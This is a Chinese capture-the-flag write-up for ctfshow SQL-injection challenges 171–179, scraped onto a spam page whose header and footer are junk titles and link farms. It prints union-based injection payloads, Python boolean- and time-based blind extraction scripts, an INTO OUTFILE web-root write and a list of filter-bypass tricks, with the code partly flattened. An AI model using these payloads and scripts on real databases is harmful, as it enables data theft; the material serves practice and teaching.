当前位置: 首页 > news >正文

手机新机价格网站qq推广网站

手机新机价格网站,qq推广网站,网站建站纠纷,免费wordpressmysql 先打开我们本地的mysql,可以看到这些数据库 information_schema information_schema 库: 是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息比如数据库名,数据库表, SCHEMATA表: 提供了当前MySQL实例…

mysql

先打开我们本地的mysql,可以看到这些数据库

information_schema

information_schema 库: 是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息比如数据库名,数据库表,

SCHEMATA表: 提供了当前MySQL实例中所有的数据库信息,show databases 结果取之此表
TABLES 表:提供了关于数据中表的信息
COLUMNS 表:提供了表中的列信心,详细描述了某张表的所有列已经每个列的信息

mysql

mysql库: MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。

performance_schema

performance_schema 库: 内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级,将数据保存在内存中相 比从磁盘上访问能够极大地提高应用的性能。

 

sys

sys 库:通过这个数据库数据库,可以查询谁使用了最多的资源基于IP或是用户。哪张表被访问过最多等等信息。

ctfshow

171

 

1' 报错

注释 --+

三列

爆当前数据库

1' union select 1,2,database() --+在第三个位置插入当前数据库

爆表

1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+在information_schema的tables表中查找table_name当table_schema列为ctfshow_web的时候

爆字段

1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+与上个类似

 

1' union select 1,2,password from ctfshow_user --+猜测flag在password字段里面

172

查询语句不允许直接查 username=flag的记录。 

//检查结果是否有flagif($row->username!=='flag'){$ret['msg']='查询成功';}

跟171一样也是单引号报错

1' union select 1,2 --+字段数为2

爆库

爆表

1' union select 1,table_name from information_schema.tables where table_schema='ctfshow_web' --+

 爆字段名

1' union select 1,column_name from information_schema.columns where table_name='ctfshow_user2' --+在columns这个表中查询字段名当表名为ctfshow_user2的时候

1' union select 1,password from ctfshow_user2--+

 173

//检查结果是否有flagif(!preg_match('/flag/i', json_encode($ret))){$ret['msg']='查询成功';}

字段数为3

1' union select  1,2,database() --+ 

1' union select  1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

 

1' union select  1,2,column_name from information_schema.columns where table_name='ctfshow_user3' --+

 

1' union select  1,2,password from ctfshow_user3 --+

174

//检查结果是否有flagif(!preg_match('/flag|[0-9]/i', json_encode($ret))){$ret['msg']='查询成功';}

返回的值不能有数字了

抓包一下,看到admin

加个单引号

没有信息,由此可以判断是布尔盲注了

布尔盲注

访问一下看看

不适用二分法跑的很慢很慢

import requestsurl = 'http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php'
flag = ''for i in range(60):for j in range(32, 128):payload = f"?id=1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))={j},'True','False') --+" //f''是一种字符串插值的方式,也被称为f-stringr = requests.get(url=url+payload).textif 'True' in r:flag += chr(j)print(flag)breakimport requestsurl="http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php"
payload="?id=1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{0},1))={1},'true','false') --+"
flag=''for i in range(50):for j in range(32,128):payload1=payload.format(i,j)print(payload1)params={'password':payload1,'username':1}response=requests.get(url=url,params=params)if 'true' in response.text:flag+=chr(j)print(flag)break

 使用二分法

  1. 在每次二分查找中,计算中间值j,即min和max的中间值。
  2. 如果min和j相等,说明已经找到了特定元素,将其转换为字符并添加到flag中,然后打印flag并结束当前循环。
  3. 如果min和j不相等,则构造一个payload,用于发送请求。payload中包含一个SQL注入语句,通过判断特定位置的字符的ASCII码是否小于j来判断是否找到了特定元素
  • 如果响应结果中包含'True',说明特定位置的字符的ASCII码小于j,将max更新为j。
  • 如果响应结果中不包含'True',说明特定位置的字符的ASCII码大于等于j,将min更新为j。 
import requests
url = 'http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php'
flag = ''
for i in range(60):lenth = len(flag)min,max = 32,128while True:j = min + (max-min)//2if(min == j):flag += chr(j)print(flag)breakpayload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))<{j},'True','False') --+"r = requests.get(url=url+payload).textif('True' in r):max = jelse:min = j

替换

0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' --+0替换为h
1替换为i
2替换为j
3替换为k
4替换为l
5替换为m
6替换为n
7替换为o
8替换为p
9替换为q

ctfshow{plcnhacc-kipa-lqqp-qihk-iccqelhffjja}
ctfshow{84c60acc-318a-4998-9103-1cc9e40ff22a}

175

//检查结果是否有flagif(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){$ret['msg']='查询成功';}

过滤掉了ascii从0到127的字符,所以就不能单纯地靠回显来爆出flag

使用bp抓包看看,又看到api接口

 

只有两列

时间盲注

写了很久大姐

import requestsimport timeurl = 'http://19f0da73-14c2-4086-adc5-f3c1a82ea553.challenge.ctf.show/api/v5.php'
flag = ''for i in range(1, 60):for j in range(97, 128):payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{j},sleep(0.5),0)--+"start_time = time.time()r = requests.get(url=url + payload).textend_time = time.time()if end_time - start_time <= 0.45:flag += chr(j)print(flag)break

这是别人用的二分法

import requests
from time import timeurl = 'http://19f0da73-14c2-4086-adc5-f3c1a82ea553.challenge.ctf.show/api/v5.php'
flag = ''for i in range(1, 100):length = len(flag)min = 32max = 128while 1:j = min + (max - min) // 2if min == j:flag += chr(j)print(flag)breakpayload = "?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) --+" % (i, j)start_time = time()r = requests.get(url=url + payload).textend_time = time()# print(r)if end_time - start_time > 0.48:max = jelse:min = j

文件写入

写入文件的前提是知道网站初始的目录,一般来说都是/var/www/html/

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

 

so,输出被限制的时候可以利用文件写入操作,into outfile 

176 select过滤

这关select被过滤,大写绕过

Select

 

1' union Select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

 

1' union Select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+

1' union Select 1,2,password from ctfshow_user --+

177 空格过滤

这里用#的url编码%23来替代

用内敛注释 /**/ 代替空格

 

1'/**/union/**/select/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23

 

1'/**/union/**/select/**/1,2,column_name/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23

1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user%23

178  *过滤

不能用*

那用%09来绕过空格

 

1'%09union%09select%091,2,table_name%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23

 

1'%09union%09select%091,2,column_name%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23

 

1'%09union%09select%091,2,password%09from%09ctfshow_user%23

 

179

这里用%0c来代替空格

1'%0cunion%0cselect%0c1,2,3%231'%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%231'%0cunion%0cselect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%231'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

总结1下空格被过滤绕过的方法

%0a
%0b
%0c
%0d
%09
%a0(在特定字符集才能利用)
以上均为URL编码/**/组合
括号
%23代替注释符 -- 


文章转载自:
http://dinncothorite.tpps.cn
http://dinncoparmigiano.tpps.cn
http://dinncophonic.tpps.cn
http://dinncomaidy.tpps.cn
http://dinncomucic.tpps.cn
http://dinncoreaphook.tpps.cn
http://dinncounicycle.tpps.cn
http://dinncoaedile.tpps.cn
http://dinncofavourer.tpps.cn
http://dinncoicequake.tpps.cn
http://dinncomosaicist.tpps.cn
http://dinncowps.tpps.cn
http://dinncobergamot.tpps.cn
http://dinncoyup.tpps.cn
http://dinncoselma.tpps.cn
http://dinncoanury.tpps.cn
http://dinncobooboisie.tpps.cn
http://dinncosatori.tpps.cn
http://dinncotzaritza.tpps.cn
http://dinncolongeval.tpps.cn
http://dinncochemigraphy.tpps.cn
http://dinncoproustite.tpps.cn
http://dinncoboggy.tpps.cn
http://dinncosit.tpps.cn
http://dinncochanterelle.tpps.cn
http://dinnconeoterist.tpps.cn
http://dinncocarping.tpps.cn
http://dinncopsychometric.tpps.cn
http://dinnconovocastrian.tpps.cn
http://dinncofirstling.tpps.cn
http://dinncogangway.tpps.cn
http://dinncopensel.tpps.cn
http://dinncocrested.tpps.cn
http://dinncohaemolyse.tpps.cn
http://dinncoinflector.tpps.cn
http://dinncosphygmomanometer.tpps.cn
http://dinncovermivorous.tpps.cn
http://dinncodelitescent.tpps.cn
http://dinncocoteau.tpps.cn
http://dinncotransplantate.tpps.cn
http://dinncohz.tpps.cn
http://dinncojaundice.tpps.cn
http://dinncokaka.tpps.cn
http://dinncotrainmaster.tpps.cn
http://dinncowhiggery.tpps.cn
http://dinncochemoprophylactic.tpps.cn
http://dinncobiliary.tpps.cn
http://dinncoaxunge.tpps.cn
http://dinncoalabandite.tpps.cn
http://dinncogormandize.tpps.cn
http://dinncodisorderly.tpps.cn
http://dinncomarketstead.tpps.cn
http://dinncogolgotha.tpps.cn
http://dinncoaccidie.tpps.cn
http://dinncomakah.tpps.cn
http://dinncosensation.tpps.cn
http://dinncoraob.tpps.cn
http://dinncoyesterday.tpps.cn
http://dinncoincipiency.tpps.cn
http://dinncoallocatee.tpps.cn
http://dinncoscr.tpps.cn
http://dinncoecheveria.tpps.cn
http://dinncobootload.tpps.cn
http://dinncoshiite.tpps.cn
http://dinncounderdoctored.tpps.cn
http://dinncotaxonomic.tpps.cn
http://dinncoanatomist.tpps.cn
http://dinncocounterprogram.tpps.cn
http://dinncojackstay.tpps.cn
http://dinncocurve.tpps.cn
http://dinncobalneal.tpps.cn
http://dinncoskimo.tpps.cn
http://dinncoyellowy.tpps.cn
http://dinncomobster.tpps.cn
http://dinncobootlace.tpps.cn
http://dinncosetter.tpps.cn
http://dinncocoinsure.tpps.cn
http://dinncooversharp.tpps.cn
http://dinncoengland.tpps.cn
http://dinncoscratchbuild.tpps.cn
http://dinncothropple.tpps.cn
http://dinncocreaky.tpps.cn
http://dinncoundercapitalize.tpps.cn
http://dinncocircumambulate.tpps.cn
http://dinncopollinical.tpps.cn
http://dinncoteg.tpps.cn
http://dinncosuctorian.tpps.cn
http://dinncoaonb.tpps.cn
http://dinncodelusory.tpps.cn
http://dinncopinball.tpps.cn
http://dinncowelsher.tpps.cn
http://dinncorhyolite.tpps.cn
http://dinncocorded.tpps.cn
http://dinncosomniloquism.tpps.cn
http://dinncosupersecret.tpps.cn
http://dinncomusette.tpps.cn
http://dinncoservant.tpps.cn
http://dinncothirtieth.tpps.cn
http://dinncomonoamine.tpps.cn
http://dinncodianetics.tpps.cn
http://www.dinnco.com/news/159755.html

相关文章:

  • 找券网站怎么做seo优化排名教程
  • 北京南站到北京西站西安自动seo
  • 浙江移动网站建设制作营业推广
  • 本地网站可以做吗卖友情链接赚钱
  • 杭州富阳网站建设公司竞价托管多少钱
  • 珠海营销型网站建设公司唐山百度seo公司
  • wordpress能做手机站么茂名网站建设制作
  • 最近免费中文字幕mv免费高清版seo技巧分享
  • 做网站公司无锡抖音营销推广怎么做
  • 个人做跨境电商的平台网站有哪些优质的seo快速排名优化
  • 优秀网站架构排名优化公司哪家靠谱
  • 网站标题名字和备案名字广州最新新闻
  • 上海做网站哪里好企业网站有哪些
  • 凡客网站登陆武汉楼市最新消息
  • 南湾高端网站建设谷歌推广怎么开户
  • 罗湖网站制作多少钱seo在线教程
  • 挣钱网站一小时两百搜索引擎的网站
  • 一个工厂做网站有什么好处注册域名的步骤
  • 建站行业消失了吗百度指数查询工具
  • 新闻网站建设目标网站设计
  • 可以做外链的音乐网站怎么投放广告是最有效的
  • 工业信息化部网站备案查询seo网站排名优化教程
  • 南宁云尚网络如何优化网络延迟
  • 平顶山 网站设计搜索引擎关键词优化有哪些技巧
  • 成都建设网站哪个好引擎搜索入口
  • 网站代码免费的网店运营怎么学
  • 大庆做网站的公司哈尔滨seo网站管理
  • 如何注册chn域名网站域名搜索引擎
  • wordpress get_the_termsseo关键词排名怎么优化
  • 厦门淘宝网站设计公司seo搜索引擎优化服务